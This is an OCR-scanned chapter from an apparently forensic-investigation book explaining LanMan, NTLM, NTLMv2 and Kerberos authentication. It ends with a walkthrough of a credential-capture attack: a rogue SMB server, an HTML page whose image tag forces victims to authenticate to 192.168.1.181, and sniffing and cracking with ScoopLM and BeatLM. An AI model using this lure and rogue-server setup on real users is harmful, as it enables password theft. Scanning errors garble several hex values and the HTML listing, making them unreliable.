key to DES encrypt

the magic string.

A A
Resulting 16-byte ! !
LanMan hash password | 3ae6eoce2a2a253f 76fde78389be2ce2

in hexadecimal

LanMan hash null
padded to 21 bytes | 3ae6cece2a2a253f76fde78389be2ce20000000000
to form key

Once the 21-byte key is generated, it is separated into three parts. The first 7 bytes, the middle
7 bytes, and the last 7 bytes are separated into three distinct keys. Each of these keys is then
used to DES encrypt the LM challenge that was provided by the server. Each DES encryption
yields an 8-byte value, and the three values are concatenated to form one 24-byte value. This
result is the response sent from the client to the server. This process is shown in Figure 4.6.

FIGURE 4.6 LanMan hash null
Encrypting the padded to 21 bytes | 3aebceece2a2a253f76fde78389be2ce20000000000
to form key

server’s challenge

|3ae6<;cce2a2a25 |3f76fde78389be |20&20000000000I

Each 7-byte third

of the key is used as
a separate key to DES
encrypt the challenge |Server Challenge |Server Challenge |Server Challenge
provided by the server,
resulting in three

o o o
m m m
y vy v

different 8-byte results. A A4 \

| Resultd | Resutt2 | Resultd
The three d_iff_erent
results are joined | Result 1 Result 2 Result 3

together to form the
24-byte LM response.
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As Figure 4.5 and Figure 4.6 demonstrate, the LM authentication process suffers from many
of the same problems that the LM encryption process suffers. Since the 21-byte key is broken
into three distinct parts, attackers need only attack three 7-byte keys rather than one 21-byte key.
Just as in cracking the LanMan hash, cracking three small keys is much easier than attempting
to crack one much larger key.

Also, if the original password is less than eight characters, a large part of the 21-byte key
becomes highly predictable. The value of the LM hash of a blank password is well known (as
discussed previously). If a password is less than eight characters, the second 8 bytes of the
resulting LanMan hash will always be the hexadecimal value aad3b435b51404ee. Since the
21-byte key is derived from the LanMan hash plus 5 bytes of zeros, the 21-byte hash derived
from a password of length less than eight characters is highly predictable. The attacker would
only need to calculate one 7-byte key and one 1-byte key in order to crack the LanMan authenti-
cation key and from it extract the LanMan hash. Figure 4.7 illustrates the problem with a pass-
word of seven characters or less. In this figure, the xs represent the only part of the key that an
attacker would have to attempt to crack, since all other values are predictable with knowledge
of the LanMan algorithms. The end result is one key with a length of 7 bytes and one key with a
length of 1 byte that an attacker would need to crack. The 7-byte key is derived from a password
that can consist only of uppercase characters, numbers, or symbols, further limiting the number
of possibilities that an attacker would need to try before cracking the key.

Pass123 |

Resulting 16-byte
LanMan hash in
hexadecimal. The x’s | XXXXXXXXXXXXXXXX | aad3b435b51404ee
represent the hash of
Pass123.

LanMan hash padded
to 21 bytes to form key

‘ XXXXXXXXXXXXXXxXaad3h435b51404ee0000000000

Key split into three parts | XXXXXXXXXXXXXX [ xx aad3b435b514 § 04ee0000000000

The end result of the previously listed issues is that the LanMan authentication scheme,
while not directly exposing the LanMan hash over the wire, is susceptible to cracking by
attackers who can sniff the traffic as it is being transmitted from a client to a server. This
results in a significant security concern within Windows networks. We will demonstrate
ways in which attackers can leverage these vulnerabilities to steal passwords from within a
network and even techniques that can be used to steal passwords from outside the network.
Before we examine the ways used to crack LanMan authentication, we’ll first take a look at the
other two methods (NTLM and Kerberos) of exchanging authentication information between
Windows computers.
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NTLM Authentication

Microsoft realized that the LanMan authentication mechanism had some problems with keep-
ing the authentication process secure from prying eyes. As a result, the New Technology
LanMan (NTLM) authentication mechanism was conceived. This mechanism is more secure
than its predecessor, but as we’ll show, it is far from invincible.

NTLM authentication follows the same basic formula as the LanMan authentication scheme
discussed previously. Why, then, is it (theoretically) more secure? The reason is that when the
NTLM hash is calculated from the original password, it is calculated across the entire, case-sen-
sitive password, resulting in a 16-byte hash. The hash is created using the MD4 hash algorithm.
This algorithm does not suffer from many of the weaknesses of the LanMan hashing algorithm
since it does not require a fixed-length input and thus no truncating or padding the password to
14 characters, nor does it split the password into discreet units. These changes make the NTLM
password less susceptible to brute force cracking. In order to attempt to crack the NTLM authen-
tication exchange, the attacker must guess all possible passwords, trying each password to see
if the resulting 21-byte NTLM authentication key can be used to encrypt the server’s challenge
to produce the client’s 24-byte response. Other cryptographic attacks are possible to determine
and, in some cases, use the NTLM hash, but these would not yield any more information about
what the original password may have been.

As we said previously, the process that the NTLM authentication follows is substantially sim-
ilar in context to the LanMan authentication. In each situation, the client requests authentication
to a server. The server responds with, among other administrative items, an 8-byte challenge.
The client in turn takes the challenge string and incorporates that into its response to the server.

The response to the server is generated in multiple steps. First, the MD4 algorithm is applied
to the user’s password in Unicode format (fully case sensitive as you recall). The application of
this MD4 algorithm to the password results in a 16-byte value that we know as the NTLM hash.
This is the hash that is stored in the SAM file. The NTLM hash value is padded with null char-
acters, bringing the string to a total of 21 bytes. This value is split up into three 7-byte sections,
which are then used to create three individual DES keys (56-bit encryption). The client takes
each one of these DES keys and encrypts the original 8-byte challenge issued by the server. The
result is three 8-byte ciphertext values, which are then concatenated to form the final 24-byte
NTLM response. This process is shown graphically in Figure 4.8.

One of the big problems with the NTLM authentication mechanism from our standpoint
is that in many cases, when a client uses the NTLM authentication, the client also sends the
LanMan hash as part of the authentication communication, just in case the server needs it for
backward compatibility with other software—even if the server refuses to accept LanMan
authentication. Therefore, when NTLM is used for authentication, the LanMan hash is normally
also provided, and attackers will choose to focus on the LanMan response, since it is much
easier to crack. This process is shown in Figure 4.9.

Changes in Windows Vista, 7, and Server 2008 have mitigated this issue to varying degrees.
First, as we said earlier, operating systems beginning with Windows Vista have disabled the
storage of LanMan passwords by default. So in this case, if the LanMan hash gets passed along
with the NTLM authentication response, it really doesn’t matter since it will be the standard
blank password hash you saw earlier (aad3b435b51404eeaad3b435b51404ee). Additionally,
clients and servers can be modified through a Group Policy object (GPO) or registry tweak to
disallow LanMan hash authentication completely. These settings, of course, can be modified, so
it’s important to be aware of them.
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FIGURE 4.8 User entered password: Unicode TestPasswordl
The NTLM authen- and case sensitive.
tication key genera-
tion process. The plaintext password is run ) 4
P through the MD4 hash algorithm. MD4 (TestPassword1)

The result of the MD4 of the
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FIGURE 4.9 Username and Connection Request
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Microsoft also created another version of NTLM authentication, called NTLM version 2
(NTLMv2), with the release of Windows NT Server 4.0 Service Pack 4. The NTLMv2 protocol
uses a more secure algorithm that provides bidirectional authentication and uses a much more
complicated authentication mechanism. In older versions of Windows (pre-Vista), administra-
tors had to take specific steps to require its use within a network. This generally just required
a quick GPO or registry tweak, but it was still an extra step that had to be taken—and hon-
estly, rarely was. In addition, forcing the use of only NTLMv2 (or Kerberos for that matter)
can cause authentication problems that cripple older software. Thus, there was a great deal of
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hesitancy by administrators to make this change. This is less of an issue now, since starting with
Windows Vista, the default authentication requires sending the NTLMv2 response only. Now
many system administrators out there may be chomping at the bit to point out that Kerberos is
much more robust than NTLM (version 1 or 2). They are correct. However, in a situation where

a domain is not in use, NTLM is the authentication mechanism used since Kerberos uses a
trusted third-party scheme, and without the domain, no trusted third party exists. NTLM is
also the scheme used when a client is authenticating to a server using an IP address rather than
a machine name or where a firewall has ports that are used by Kerberos blocked. Thus, while
NTLM is less than ideal, it will be seen regularly for the foreseeable future.

The NTLMv2 authentication process is stronger than its predecessor in a number of ways.
While NTLMv2 uses the NTLM password hash as a component of the process, NTLMv2
authentication adds a hash-based message authentication code that uses the MD5 hash function
(HMAC-MD5) of the NTLM hash, the user’s name (in uppercase Unicode), and the name of the
destination that the user is trying to log on to (again, in uppercase Unicode). Without getting
into the mathematical nitty-gritty, the HMAC-MDS?5 is a combination of two different algorithms.
The first, the HMAC (Hash-based Message Authentication Code), is an algorithm that takes a
hashing function, like the MD5, and combines it with a secret key to return an authenticated
hash value of 16 bytes (128 bits). The NTLMv2 hash is used in the NTLMv2 response to the
server’s original challenge. If your head has not exploded yet, we'll take one more crack at it.
Figure 4.10 shows the methodology used to create the NTLMv2 hash.

FIGURE 4.10
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used as the key.
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NTLMv?2 uses the same challenge-response protocol that you saw in NTLM and LanMan.
When a user requests access to a network resource, the authentication server provides a chal-
lenge. After the NTLMv2 hash is created, the client generates a block of data, known as a blob—
no, I didn’t make that up—that among other things includes a time stamp and a client nonce
and concatenates this with the server challenge. This data is then subjected to the HMAC-MD5
using the NTLMv?2 hash as the “secret key.” The result is then concatenated with the client’s blob
and is prepared to be sent off to the server in the place of the NTLM response.

The client then calculates a second response that is based only on the NTLMv2 hash, the
server challenge, and the client nonce. In this case, the server challenge is concatenated to the
client nonce and is subjected to the HMAC-MD?5 algorithm using the NTLMv?2 hash as the
“secret key.” The 16-byte output is then concatenated to the 8-byte client nonce and is pre-
pared to be passed back to the server in the place of a LanMan response. This NTLMv2-based
response is often called the LanMan v2 response. If you do some quick byte counting, you'll
notice that the NTLMv2 response is much larger than the NTLM response and that the LanMan
v2 response is the exact same length as the LanMan response. This helps with backward com-
patibility for members of the domain that don’t understand NTLMv2, but this whole process
is done with 128-bit encryption instead of the 56-bit encryption that NTLM provides. Starting
with Windows 7 and Server 2008, 128-bit encryption for the NTLM-based protocol is the mini-
mum session security setting. This whole complex and confusing process is demonstrated in
Figure 4.11 and Figure 4.12.

FIGURE 4.11 Create the blob by concatenating
The creation of the various pieces of information
NTLMv2 response including 64-bit Unix time stamp, Create the blob
to the NTLMv2 8-byte client nonce, and target
information.
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Begin with the 8-byte client nonce that was used
in creating the blob for the NTLMv2 response.

8-byte client nonce

Y

Concatenate the server challenge

| 8-byte client nonce + server challenge |

and the client nonce.

Subject the concatenation of the server
challenge and the client nonce to the HMAC-MD5 (client nonce +
HMAC-MD5 function using the NTLMv2 server challenge, NTLMv2)
hash as the key.

v

The result is a 16-byte hexadecimal string. 16-byte result

Y
| 16-byte result + 8-byte client nonce|

Concatenate the 16-byte result with
the 8-byte client nonce.

The result is a 24-byte LanMan v2 response Y

ready to be sent in place of the standard LanMan v2 response

LM response.

ALL HAS NOT BEEN WELL FOR NTLM AND NTLMV2

We mentioned previously that there was a big problem with NTLM in terms of how common it
was for the LanMan authentication response to be sent along with the NTLM response. While
this is a big problem for NTLM, this is nowhere near the worst problem. The main idea with the
challenge-response type of authentication protocol is that the challenge sent by the serveris used
only once (referred to as a cryptographic nonce, which means “number used once”). This would
mean that areplay attackis much less likely to be successful, since the challenge was random and
the likelihood of it being repeated is small. Your attacker could still use the information about
the challenge and the encrypted response to try to calculate your NTLM hash, but replay attacks
would be reduced as a likely source of compromise.

If you guessed by the tone of the writing that this isn’t really the case, you’re right. As it turns
out, there were flaws in Microsoft’s implementation of the NTLM protocol—the randomness of
the challenge/nonce was faulty, and the server could be led to produce duplicate nonce values.
Combine this issue with the fact that the protocol leaks information that can help an attacker
to predict the challenge that would be issued by the server, and the net result is that a user with
no permissions to access a shared resource could authenticate to that resource with the creden-
tials of an authorized user. If that authorized user account happened to be an administrator, the
unauthorized attacker could do anything they wanted to with the files on the share, as well as
potentially execute code on the remote system.

107
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Here’s the worst part. This vulnerability has existed since the days of Windows NT 3.1—which,
as of this writing, is about 18 years—in all Windows operating systems. It is a compromise that
applies to both NTLM and NTLMv2, since they use the same basic methodology. This vulnerabil-
ity was finally patched in 2010. The actual method that this exploit follows is beyond the scope
of this book, but you can read more about it as well as look at the proof-of-concept code here:
http://www.hexale.org/advisories/0OCHOA-2010-0209.txt/.

Kerberos Authentication

The Kerberos authentication mechanism is by far the most secure option available to

Windows computers. Not a Microsoft invention, the Kerberos version used by Windows at the
time of this writing (v5) is an open standard (RFC 4120). The RFC 4120 standard is also used in
Unix and other systems, although Microsoft made a few changes to the overall implementation.
Like NTLMv2, the Microsoft implementation of Kerberos still uses the NTLM hash as a starting
point for identifying that a user knows the correct password, but the Kerberos process is much
more robust than LM, NTLM, or NTLMv2. Kerberos relies on a system of security or access tick-
ets that are issued by computers designated as ticket-granting authorities. When a user wishes
to access a particular remote resource, the user’s computer must obtain an appropriate access
ticket from the ticket-granting authority (in Windows networks, this is normally a domain con-
troller). Before the ticket-granting authority issues a ticket, a Kerberos authentication must take
place; the requesting client must provide appropriate proof that it knows the correct username/
password combination. Once the authentication exchange is complete, an access ticket for the
requested resource is issued. This ticket contains information about the computer that made the
request, the account that is authorized access, the specific resource that may be accessed, any
limitations on the access that should be granted to that resource, and the time duration during
which the ticket is valid. Once the ticket is obtained, it can be presented to the desired remote
resource, and access will be granted accordingly.

Figure 4.13 shows a simplified version of the Kerberos system as it is normally implemented
within a Microsoft network. Notice that there are three segments or heads to the process—one is
the Key Distribution Center (KDC), one is the client computer, and the last is the target server or
resource. When a user sitting at a client computer requests access to a resource on a remote file
server, the client machine attempts to authenticate the user to the KDC. The KDC is installed as
part of the domain controller (DC) and performs two functions: the Authentication Service (AS)
and the Ticket Granting Service (TGS).

Authentication Exchange The authentication exchange is based on a time stamp that the
client encrypts using the NTLM hash as an encryption key. This process is done entirely
between the client computer and the KDC. If the KDC decrypts the time stamp using the
NTLM hash that it has stored and finds a valid time stamp, then the user is authenticated.
There are many different encryption ciphers that can be used to encrypt the time stamp.
Before Server 2008, the standard encryption level was DES. As we've discussed before, DES
is an old standard that isn’t very strong, so as of Windows Server 2008 and Windows 7, the
default setting is AES and DES is disabled. It should come as no surprise to you, however,
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that these enhancements can be reduced or eliminated by the administrator through a simple
GPO change, registry tweak, or hotfix.

FIGURE 4.13
The Microsoft
implementation of N~
Kerberos \0\
X
Key
Distribution
Center
(domain
controller)
File server

@ Real World Scenario

KERBEROS ENCRYPTION STANDARDS—BRAIN BUSTER ALERT

1f you ever find yourself in the position of looking at Wireshark packet captures on a network that
involves a Kerberos authentication process, it’s important to note that you’re not going to see an
Advanced Encryption Standard encryption notification in the packet. Instead of using just one
particular cipher, Windows uses what are known as cipher suites, which is really just a fancy way

of saying a series of ciphers.

In the case of Windows 7 and Server 2008, two AES encryption suites are used, along with an older
shared-key stream cipher algorithm (RC4-based) encryption suite that is a holdover from the Server

2003 days:

& AES256-CTS-HMAC-SHA1-96 (256-bit encryption key)
& AES128-CTS-HMAC-SHA1-96 (128-bit encryption key)
& RC4-HMAC (128-bit encryption key)
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Windows 2003, on the other hand, allowed the use of the older Data Encryption Standard—based
encryption suites along with the RC4 suite:

& DES-CBC-CRC (56-bit encryption key)
& DES-CBC-MD5 (56-bit encryption key)
& RC4-HMAC (128-bit encryption key)

So, when you’re looking at the authentication packets flying back and forth across the wire, you’ll
be able to tell what encryption suite is being used, just in case you want to do something crazy, like
verify the packet encryption!

Ticket Granting Service Exchange Once authenticated, the KDC then issues a reply that
has two sections: one section is a ticket-granting ticket (TGT) that is encrypted with the
secret key belonging to the KDC, and the other section is a session key that is encrypted with
the client’s secret key (the shared secret between the KDC and client). The session key is used
for later communications between the client and the KDC. This effectively serves as a form of
identification, much like a driver’s license or passport, that the user is who he says he is based
on his knowledge of the shared secret (in this case the correct username and password). The
client then sends the encrypted TGT back to the KDC along with a request to access a par-
ticular resource, in this case a file on the file server. The KDC decrypts the TGT with its secret
key, and if the user’s account is authorized to access the requested resource (the file server in
our example), the KDC will issue a service ticket for the client machine and the file server.
You can think of this service ticket as a visa in a passport that allows you to visit a particular
country for a particular period of time.

There are two significant parts to the service ticket. The client’s part of the service ticket is
the session key to be used with the file server; it is encrypted with the session key that was pro-
vided by the KDC during the authentication process. The other part belongs to the file server
and is encrypted with the file server’s secret key (the shared secret between the KDC and the
file server). The file server’s portion of the service ticket contains its copy of the session key and
information about the client, including a detailed listing of the groups to which the user belongs,
so that the file server can determine which access and permissions he is allowed to have. When
the client wants to communicate with the file server, he passes the file server’s portion of the ser-
vice ticket to the file server along with a request to establish a session. If the file server is able to
decrypt the service ticket, it will establish a session with the client using the session key inside
the service ticket. Access will be granted and the appropriate restrictions and permissions will be
enforced based on the group memberships and other information provided in the service ticket.

It is important to note that with Kerberos, verification of the user’s identity takes place
between the KDC and the client. The file server plays no role in verifying that the user is who
he says he is. The file server makes its access decision based solely on the service ticket, relying
entirely on the accuracy of that information to make its decision. In order to make Kerberos even
more secure, it uses a series of time stamps and cryptographic keys to verify the authenticity of
TGTs and service tickets. The KDC becomes a central point of authentication, and that central-
ization can benefit a network investigator. Since authentication is centralized, the logs relating
to account authentication and access to various system resources are also somewhat centralized.
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We will examine account authentication and access logs in detail in Chapter 13, “Logon and
Account Logon Events.”

The Kerberos system is far more robust, as well as more complex, than the LanMan and
NTLM systems. It is also the default authentication mechanism for Windows 2000 or newer
computers that are part of a domain. This fact will become more important as you proceed
to log analysis of authentication activities. Although members of a domain should be using
Kerberos for their authentication, attackers who are not members of the domain will frequently
attempt to authenticate to local administrator accounts using NTLM. These attempts might
result in log data that should serve as a red flag to an intrusion investigator. The presence of
NTLM authentication within a domain environment may be an indicator of an attacker attempt-
ing to access computers via local accounts.

Sniffing and Cracking Windows Authentication Exchanges

Although any authentication mechanism can theoretically be compromised, attackers generally
focus on the weakest link. While Kerberos authentication exchanges are subject to attack, these
are more complicated and thus less likely to be successful in a reasonable period of time than
attacks against LanMan or NTLM authentication. Thus, we are going to focus on the weakest
member of the group of authentication processes covered thus far.

It is important to understand when authentication happens between two Windows systems.
An authentication takes place whenever a process on one system attempts to access a resource
on another system. An example would be when a user attempts to map a network drive, access
shared files on another system, or even log on to a domain. In the same way, if a program attempts
to make such an access without an overt request from a user (such as an automated back up rou-
tine attempting to place backups of files onto a remote file server), then the program’s process must
authenticate to the remote system. This involves providing both an account name and its associ-
ated password through one of the authentication mechanisms described in the previous section.

As you saw in Chapter 3, “Beyond the Windows GUI,” whether being overtly controlled
by a user’s actions or running in the context of a service account, all processes are associated
with some security context. When a process needs to access a remote system, it will attempt to
authenticate to the remote system by providing the credentials for the account whose security
context it is using. No overt action (such as manually typing in a username or password) is
necessarily needed. For example, consider what happens when a user attempts to access a share
on another system by browsing through My Network Places. When the user selects a share
that exists on another system, the computer that the user is using will automatically attempt to
authenticate to the remote system by using the current user’s account name and password infor-
mation to perform a LanMan, NTLM, or Kerberos authentication. This happens immediately
and without a prompt to the user. If that initial authentication attempt fails, the user will then be
prompted to manually enter a username and password for access to the remote system.

Although this feature ensures quick and easy access to remote resources, it does have the
potential to provide sensitive information to attackers. If a user can be tricked into performing
an action that causes his computer to attempt to access a remote resource, then his client will
automatically attempt to authenticate to that remote system. If the remote system is controlled by
an attacker, or if the attacker is able to monitor communication between the victim’s system and
the remote system, then the attacker can potentially sniff the authentication attempt and use it to
crack the user’s password. Armed with the username and password, the attacker can then return
to the victim computer at a later date and successfully log on to it using the victim’s account.
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Since a currently logged-on user does not need to manually enter the username and password for
subsequent remote authentication attempts, the victim may be totally unaware of the attack.

Let’s examine an example of this type of attack using Hypertext Markup Language (HTML)
enabled email. Many email clients will allow users to receive email that is written as HTML
code. HTML is the language used to display a web page on a web browser. Most modern email
clients have the ability to render HTML code within the body of an email to enable users to
receive messages with embedded photos and other features that many users find convenient.
When an HTML email is received, the client will attempt to follow the HTML instructions in
order to correctly render the page to display to the user. These instructions may include requests
to download images or other files from remote servers. Normally, such downloads are accom-
plished using the Hypertext Transfer Protocol (HTTP), but other protocols can also be used to
accomplish these transfers. One such protocol, Server Message Block (SMB), is the protocol used
by Windows systems to share files across the network.

MICROSOFT LOGON TERMINOLOGY

Microsoft defines four main categories of logons in Windows environments:

Interactive Logon An interactive logon is accomplished when a user sits at a computer’s
keyboard and enters a username and password (or provides a smartcard, biometric infor-
mation, or other security device) directly into the computer. This includes both local logons
where the credentials are authenticated by the local SAM file and a domain logon where the
authentication is carried out by the domain controller. (It would be noteworthy if you found
local logons to computers that are part of a domain.) Once the logon is authenticated, the
system runs programs on behalf of the user utilizing the user’s account as the security context
for those programs. This logon category contains sub-items including remote interactive and
cached interactive.

A remote interactive logon is any sort of logon using either Remote Desktop or Terminal
Services. A cached interactive logon occurs in a domain environment where the user’s creden-
tials are compared to the network credentials stored locally on the computer in the registry.
In this situation, the domain controller is not contacted for authentication.

NetworkLogon Anetworklogonisaccomplished when a user attempts to access resources
onaremote system. The security credentials of the user are passed either to the remote server
for LanMan or NTLM type authentication or to the domain controller for Kerberos authentica-
tion. Thisis usually done without the user’s interaction since the first authentication attempt
is done using the credentials entered during the logon process.

Service Logon When a Windows service starts up, it logs on to the local computer using
a user account or the LocalSystem account. Applications that run in the LocalSystem secu-
rity context have unrestricted access to the local computer and potentially the network
resources. Services that are run in the context of an individual user, however, are restricted
to the access control that is subjected to the user account. It is no surprise that attackers
prefer the LocalService-level account when compromising a system.

Batch Logon Batch logons are similar to service logons. They are normally found when a
user sets up a scheduled task and that task launches. The task tries to log on to the computer
using either the account specified by the user during the task setup or the user account that
created the task.
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When an SMB connection is made between two Windows computers, an authentication
attempt is initiated. By structuring an HTML email to request that a file to be displayed within
the body of the email be downloaded using SMB, the recipient computer can be made to auto-
matically attempt to authenticate to the remote computer for purposes of accessing the remote
share and retrieving the file (this is, of course, assuming that SMB—TCP 445 or 139—is permit-
ted outbound on the firewall, which is typically not allowed by default). Whatever credentials
are being used by the user will be used to attempt to connect to the remote server. By monitor-
ing the communication, an attacker could capture the authentication exchange and use it to
crack the user’s password. If the attacker controls the remote server (as would normally be the
case), then he can also configure it to only accept LanMan or NTLM (which normally also sends
the LanMan hash for backward compatibility), thereby forcing the victim system to fall back on
the older, and more easily cracked, authentication schemes.

This same technique can be used by a rogue website to trick an unsuspecting victim into
sending authentication information about the currently logged-on user. If a website, in its
HTML, references an image file using SMB rather than HTTP, then the client’s browser will duti-
fully make an authentication attempt to the rogue server. By installing a sniffer in a place that
can monitor traffic coming into the rogue server, the attacker can capture the authentication
information and use it to crack the victim’s password.

In order to demonstrate this process, we will first show the structure of a web page that
would cause a recipient’s computer to attempt to authenticate to a remote system. We will then
show how the attacker could use two tools, ScoopLM and BeatLM (http://www.securityfri-
day.com/tools/ScoopLM.htm1/ and http://www.securityfriday.com/tools/BeatLM.htm1/)
to capture the LanMan authentication challenge and response and crack the user’s password.

@ Real World Scenario

LOSING YOUR PANTS IS EASIER THAN IT SOUNDS

We’ve spent a number of pages telling you how the password storage and authentication processes
work in various versions of Windows—and even our editors’ heads are starting to hurt. So, we
want to address the real-world scariness that results when this information is even marginally
understood by your adversaries. It shouldn’t come as a surprise to anyone that the tools that many
attackers use to violate the sovereign space of your clients’ networks are freely available on the
Internet. In fact, in the next few sections, we’ll link to some very powerful and easy-to-use tools.
If you are brave enough, you can even venture into hacker websites and read about the problems
they are trying to overcome and the system security that they are trying to subvert (although we
don’t recommend doing this from your home computer!). So let’s discuss some of the ways that a
few prominent networks have been compromised. The names, as always, have been changed to
protect the unfortunate.

POLICE DEPARTMENT

During a recent computer refresh, a police department turned all their old computers over to the
city’s IT department. IT had assured the police department that the data would be removed from
the hard drives before being returned to the leasing company that was scheduled to sell the used
computers on auction. The IT department merely reformatted the drives from the old computers,
and then the leasing company sold the computers online.
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Weeks later, the city reported a network breach, and they were surprised when the local admin-
istrator credentials had been compromised. Turns out that someone who knew a little about file
recovery was able to recover the SAMfiles from the reformatted hard drives and cracked the stored
LanMan password for the administrator. Since the entire city used the same local administrator
password, it allowed the attacker remarkable lateral movement from one computer to another
computer across the 2000-node network.

NETWORK SNIFFER (MALWARE EMAIL)

Everyone knows that one of the biggest vulnerabilities on any network is its users. You can have
the most secure network in the world, but if a user decides to click a malicious link in an email
or double-click a file that got through the email filters, you can bet that you are going to be busy.

Imagine a company that specializes in pharmaceutical development and has just come out with
a groundbreaking drug. In an act of espionage, an email message (specially crafted to appear to
be an official email from the corporate Security department) is sent to specific employees in the
company. The message requests that they click a link to change their password. In this case, the
employees selected were administrative assistants, and for many of them it didn’t appear to be
an odd request. Many of them clicked the link, and a webpage came up, asking for their username
and their old and new passwords. Little did they know that, in the background, software was being
downloaded to their computer and their user credentials were being uploaded. The downloaded
software was essentially a backdoor that allowed the attacker to authenticate to the computer
using credentials that they acquired without having to crack anything. Consider, too, the extent
of the exposure as a result of this targeted attack—many administrative assistants have access to
everything that their bosses have in terms of network storage and information. All the attacker
would need is a few highly placed assistants to provide their credentials, and the secrets of the
company would be at risk. This is exactly what happened—the assistant for the head of research
clicked the link, provided her credentials, and opened the door to an otherwise secure informa-
tion store that included the details of the new drug. There were many security deficiencies that
led to this being a successful attack, but the net effect was dire.

These two examples don’t cover all the avenues that lead to a network breach. Oftentimes, we
don’treally find out what tools the attacker used to affect the breach, so when we reference tools
in this chapter, we’re doing so to show you a particular example of how things can be done. There
are plenty of people who have nothing better to do than to see if they are better than a particular
network’s security. There are far more people who stand on the shoulders of giants and do nothing
more than use their tools and instructions to wreak havoc. It’s our job to investigate these activi-
ties and either help our clients understand how to avoid these breaches or help the perpetrators
find a nice cot and three square meals a day—courtesy of our local sheriff’s department.

Using ScoopLM and BeatLM to Crack Passwords

By specially crafting an email or website, attackers can cause a client to attempt authentication
with a rogue server. The server can then monitor for the authentication attempt, record the serv-
er’s challenge and the client’s response, and then use that information to crack the password used
to encrypt the response. This involves multiple different steps, which we will look at in turn:

1. Configure a rogue server.
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2. Craft an email message or web page that will cause an authentication attempt.
3. Sniff the authentication exchange.

4. Crack the password.

CONFIGURING THE ROGUE SERVER

A rogue server is easy to configure. It should have a share (a folder that has file sharing enabled,
as discussed in Chapter 2, “The Microsoft Network Structure”), with some image or similar file
being offered. The server should only accept LanMan or NTLM authentication, which can be
assured by using a system older than Windows NT SP4 (when NTLMv2 was first introduced).
The rogue server should be running some type of password-sniffing and -cracking software.
For our demonstration, we set up a Windows NT server sharing a folder called files that con-
tains an image called pagerror.gif. For a server that will be used to receive authentication
from email messages, this is the only server setup that would be needed. For our demonstra-
tion, we will use a rogue web server in addition to the server that is sharing the file. As shown
in Figure 4.14, the rogue web server contains a home page with an embedded reference to the
rogue NT server. The reference is formatted to cause the file to be retrieved using the SMB
protocol (see step 2). When a client machine browses to the web server, the home page is pro-
vided to the client. When the client machine receives the HTML code, its web browser follows
the HTML instructions and attempts to retrieve the image file from the NT server using SMB.
In doing so, the client computer passes the currently logged-on user’s credentials in an NTLM
authentication exchange to the NT server in order to authenticate to the NT server and retrieve
the desired file. The sniffer software captures the authentication exchange, and the cracking
software can then be used to crack the password.
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CRAFTING THE WEB PAGE OR EMAIL MESSAGE

The delivery mechanism for our attack is a specially crafted web page that causes the victim’s
computer to attempt a network logon to our rogue NT server. Although this can also be accom-
plished using an HTML-formatted email, some email clients now block image downloads
without direct user intervention to prevent web bugs and other mechanisms used by spam-
mers. As a result, the user may not choose to download the image, and the computer will not
pass her credentials to our server. The download-blocking security features are not in place in
web browsers, since the purpose of a web browser is to display pages, including the associated
images, on the client machine. Because of this, our website is configured with an embedded
reference to our rogue NT server, causing any Windows computer on which the site is viewed to
send its user’s authentication attempt.

Whether delivered as a website or as an HTML email, the mechanism for pointing the victim
to our rogue NT server is the same. Within HTML pages, there are references to image files. These
references normally specify that HTTP be used to accomplish the transfer. You can, however, spec-
ify that a different protocol be used. In this case, we will specify that SMB be used. Whenever SMB
is specified, the Windows client will attempt to authenticate to the remote server as part of the file-
sharing process. Figure 4.15 shows the HTML syntax for specifying the use of SMB.

FIGURE 4.15 <html>
Specifying SMB <hzads>

<meta HTTP-EQUIV="Content-Type" Content="text/html; charset=windows-1252">

<title ID=titletext>Temporarily unavailable</title>
</heads

<body bgcolor=white>
<table>

<tr>

<td ID=tableProps width= ign=
<img ID=pagerrorImg src="file: /M\N\1Y
<td ID=tab lePropswidth width=F00>

.168.1.181\f1 les\pagerror.gif"|width=36 height=48>

<hl ID=errortype style="font:ldpt/16pt verdana; color:#dedede":

The reference is made in the home page to the pagerror.gif file. When the browser sees
this reference, it will look at the HTML code to determine where the image is stored and how to
access it. The syntax Img src="file://\\192.168.1.181\files\pagerror.gif" indicates that
the file is located on a server using IP address 192.168.1.181 (our rogue NT server) in a shared
folder called files. The file:// syntax indicates to the Windows browser that the standard
file-transfer mechanism (SMB) should be used to accomplish the transfer. Not all browsers will
accept this syntax, but many (including Internet Explorer) will. An alternative method is to use
the syntax smb://server/share/file; however, we have been less successful with this method
in testing.

SNIFFING THE EXCHANGE

Once the rogue website has been set, we can post our URL in chat rooms, send out spam
containing a link to the site, or use any other mechanism to entice users to our site (typically
promising that the site will contain something that the target may want to see—ask Anna
Kournikova what the most popular methods of luring victims might be). As users start to visit
our site, their browsers will follow the HTML instructions, and their computers will attempt to
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authenticate them to our NT server. We will need to be ready to record these exchanges. The tool
that we will use is called ScoopLM and is distributed for free by SecurityFriday.com. We have
installed ScoopLM on our web server and connected our rogue web server to our NT server
using a Layer 1 hub, which allows us to sniff the authentication exchange. Figure 4.16 shows the
ScoopLM tool running on our server, monitoring communication to or from our NT server.

FIGURE 4.16 o
e Wew Help
The ScoopLM =
tool monitors TERNEE - == |
communication server Client [azcoune  [resule [chaliengs [i# response [uTLE response pate & Time
E

Once a user is enticed to our website (perhaps through a promise of information regarding
great coffeehouses, music stores, or places of interest), the user will download our home page
from the web server. The user’s browser will parse the HTML and display our home page, as
shown in Figure 4.17.

FIGURE 4.17 3 Temporarily unavailable - Microsoft Internet Explorer -1al x|
Rogue server home File Edit “iew Favortes Tools Help |
page Bk - = - (@D a ‘ @search [GEFavortes GDMmeda (% | By &
Address IE hittpe f e, example. com j ﬁGu | Links >
E  Temporarily Unavailable
The site you are trying to view is currently down for
maintenance.
Please try this site again later, If you still experience the
problem, try contacting the Web site administrator.
we apologize for the inconvenience, but we are sure you will
love our new ook,
€] pore ’_’_’_ ) Internst 4

The home page appears to indicate that the website is currently down for maintenance.
Although this may be disappointing to the user, it is not particularly a cause for alarm. Also,
this approach may encourage the user to try again later, perhaps when logged in from another
computer or as a different user, increasing the number of passwords that we can capture.
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The icon in the upper left of the page indicates that an image file was supposed to be loaded
there, but the browser could not retrieve it. This is the location of the pagerror.gif file that the
browser attempts to download from our NT server. The reason the browser couldn't retrieve the
file is that the user’s account was unable to authenticate to our NT server; Figure 4.18 shows the
authentication exchange as it was captured by our sniffer.
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192.168.1.181 [192.168.1.17 |)41nn\VEL WC | DECBSCESDESMIDZE | SCEESASESECTELL4S063031C26790TA0547IDE1EIICSERET | 17776C333DEEEDAIIONCEE Dar & 2008
